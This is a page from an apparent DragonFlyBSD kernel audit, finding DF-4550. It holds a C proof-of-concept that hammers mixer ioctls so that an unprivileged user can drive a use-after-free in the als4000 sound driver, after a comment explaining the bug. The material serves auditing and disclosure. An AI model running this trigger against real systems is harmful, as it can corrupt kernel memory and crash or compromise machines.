⬢ DragonFlyBSD Kernel Audit
DF-4550 / mixer_uaf_exerciser.c
← back to finding ↓ download raw
/* DF-4550 — post-trigger exerciser for the als4000 mixer-UAF family bug.
 *
 * Context: sys/dev/sound/pci/als4000.c:842 calls mixer_init() BEFORE
 * pcm_register() (:847). mixer_init() publishes a world-accessible
 * /dev/mixerN (mixer.c:730-732, mode 0666) whose snd_mixer->devinfo is the
 * driver softc `sc`. If pcm_register() fails, bad_attach (:861-863) frees
 * `sc` while the mixer device survives -> every mixer ioctl dereferences
 * freed memory inside alsmix_set()/alsmix_setrecsrc().
 *
 * This program is the exerciser an unprivileged user would run once the
 * dangling /dev/mixerN exists (i.e., after an als4000 attach whose
 * pcm_register step failed): it hammers MIXER_WRITE on every device so a
 * freed-and-reused `sc` is read/written through als_mix_rd/als_mix_wr.
 *
 * It CANNOT manifest on the QEMU guest: no ALS4000 PCI device exists there
 * (ALS_PCI_ID0 0x40004005 — see guest_hw_evidence.txt), so als_pci_attach
 * never runs and no /dev/mixerN is ever created by this driver.
 */
#include <fcntl.h>
#include <stdio.h>
#include <sys/ioctl.h>
#include <sys/soundcard.h>

int
main(int argc, char **argv)
{
	const char *dev = (argc > 1) ? argv[1] : "/dev/mixer0";
	int fd = open(dev, O_RDWR);
	int i;

	if (fd < 0) {
		perror(dev);
		return 1;
	}
	for (i = 0; i < SOUND_MIXER_NRDEVICES; i++) {
		int v = (75 & 0xff) | ((75 & 0xff) << 8);
		if (ioctl(fd, MIXER_WRITE(i), &v) < 0)
			perror("MIXER_WRITE");
		else
			printf("MIXER_WRITE dev=%d ok (alsmix_set touched sc)\n", i);
	}
	{
		int src = SOUND_MASK_LINE;
		ioctl(fd, SOUND_MIXER_WRITE_RECSRC, &src);
		printf("RECSRC write issued (alsmix_setrecsrc touched sc)\n");
	}
	return 0;
}